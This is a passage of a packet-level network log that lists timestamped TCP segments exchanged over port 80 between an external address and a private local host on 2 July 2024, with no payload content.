Jul 2, 2024 12:21:30.245271921 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245282888 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245300055 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245306015 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.245337009 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.245345116 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245357037 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245383024 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.275669098 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.275746107 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.275774002 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.275820971 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.275846958 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.275847912 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.275860071 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.275871038 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.275895119 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.275918961 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.276014090 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276025057 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276057959 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.276282072 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276318073 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.276324987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276338100 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276357889 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.276371956 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.276432037 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276443005 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276453972 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276473999 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.276499987 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.276511908 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.276726007 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.304955006 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.304985046 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.304996967 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305039883 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.305069923 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.305092096 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305103064 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305114031 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305124044 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.305133104 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305154085 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.305181980 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.305510998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305551052 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305593967 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.305717945 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305728912 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305741072 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305769920 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.305821896 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305833101 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305844069 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.305860043 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.305885077 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306005001 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306015968 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306025028 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306035995 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306046963 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306051016 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306057930 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306081057 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306094885 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306188107 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306200027 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306210041 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306238890 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306255102 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306335926 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306348085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306358099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306371927 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306389093 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306505919 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306515932 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306526899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306536913 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306546926 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306550026 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306559086 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306571007 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306572914 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306591034 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306613922 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306785107 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306794882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306806087 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306816101 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306821108 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306828022 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306838036 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306838036 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306849957 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306859970 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306864023 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306873083 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.306881905 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.306905985 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307169914 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307180882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307192087 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307202101 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307215929 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307218075 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307230949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307231903 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307248116 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307272911 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307415962 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307426929 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307436943 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307446957 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307456970 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307457924 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307470083 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307487011 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307503939 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307676077 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307686090 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307696104 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307706118 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307717085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307719946 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307734966 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307745934 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307748079 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307755947 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307766914 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307776928 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307780027 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307787895 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307797909 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307801008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307816982 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307816982 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.307836056 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.307867050 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.308187008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308197975 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308207989 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308213949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308223963 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308233976 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308240891 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.308244944 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308257103 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308269024 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.308269024 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308293104 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.308303118 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.308597088 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308608055 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308619022 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308629036 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308640003 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.308641911 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308648109 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308650970 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308662891 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.308670998 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.308687925 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.308705091 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.336608887 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336647987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336659908 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336703062 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.336755991 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.336765051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336776972 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336787939 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336800098 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336813927 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.336838007 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.336911917 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336924076 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336934090 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336945057 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336954117 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.336956024 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336967945 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336977959 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.336981058 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.337004900 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.337017059 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.366626978 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.366650105 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.366662025 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.366691113 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.366727114 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.366795063 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.366806030 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.366816044 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.366826057 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.366836071 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.366839886 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.366854906 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.366874933 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.395499945 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.395519018 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.395530939 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.395541906 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.395540953 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.395576000 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.395576000 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.395662069 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.395698071 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.395714045 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.395733118 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.395742893 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.395751953 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.395778894 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396138906 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396241903 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396253109 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396265030 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396282911 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396328926 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396338940 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396351099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396361113 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396372080 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396388054 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396419048 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396472931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396490097 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396506071 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396528959 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396581888 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396591902 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396596909 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396611929 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396619081 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396621943 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396648884 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396794081 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396802902 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396815062 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396823883 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396830082 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396836042 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396846056 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396847010 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396857023 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.396872997 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.396888018 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397011042 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397021055 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397034883 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397043943 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397046089 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397058964 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397073984 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397144079 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397155046 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397164106 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397173882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397177935 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397207022 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397353888 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397363901 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397373915 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397383928 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397393942 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397396088 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397404909 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397414923 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397423983 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397424936 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397434950 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397440910 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397454977 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397480011 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397753954 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397758007 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397762060 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397763014 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397763968 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397769928 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397778988 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397788048 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397794962 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397806883 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397814989 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397819996 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397826910 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.397838116 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.397852898 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398190975 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398201942 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398211956 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398221970 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398230076 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398232937 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398246050 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398256063 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398261070 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398267031 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398277998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398286104 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398288965 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398300886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398302078 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398319006 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398340940 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398485899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398521900 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398545980 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398556948 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398566008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398587942 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398612022 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398772955 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398782969 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398792028 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398808002 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398813009 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398818970 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398828983 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398838043 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398838997 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398849964 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398854971 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398860931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398870945 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398871899 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398880959 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398890972 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.398899078 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.398901939 CEST	80	55237	77.91.77.81	192.168.2.7
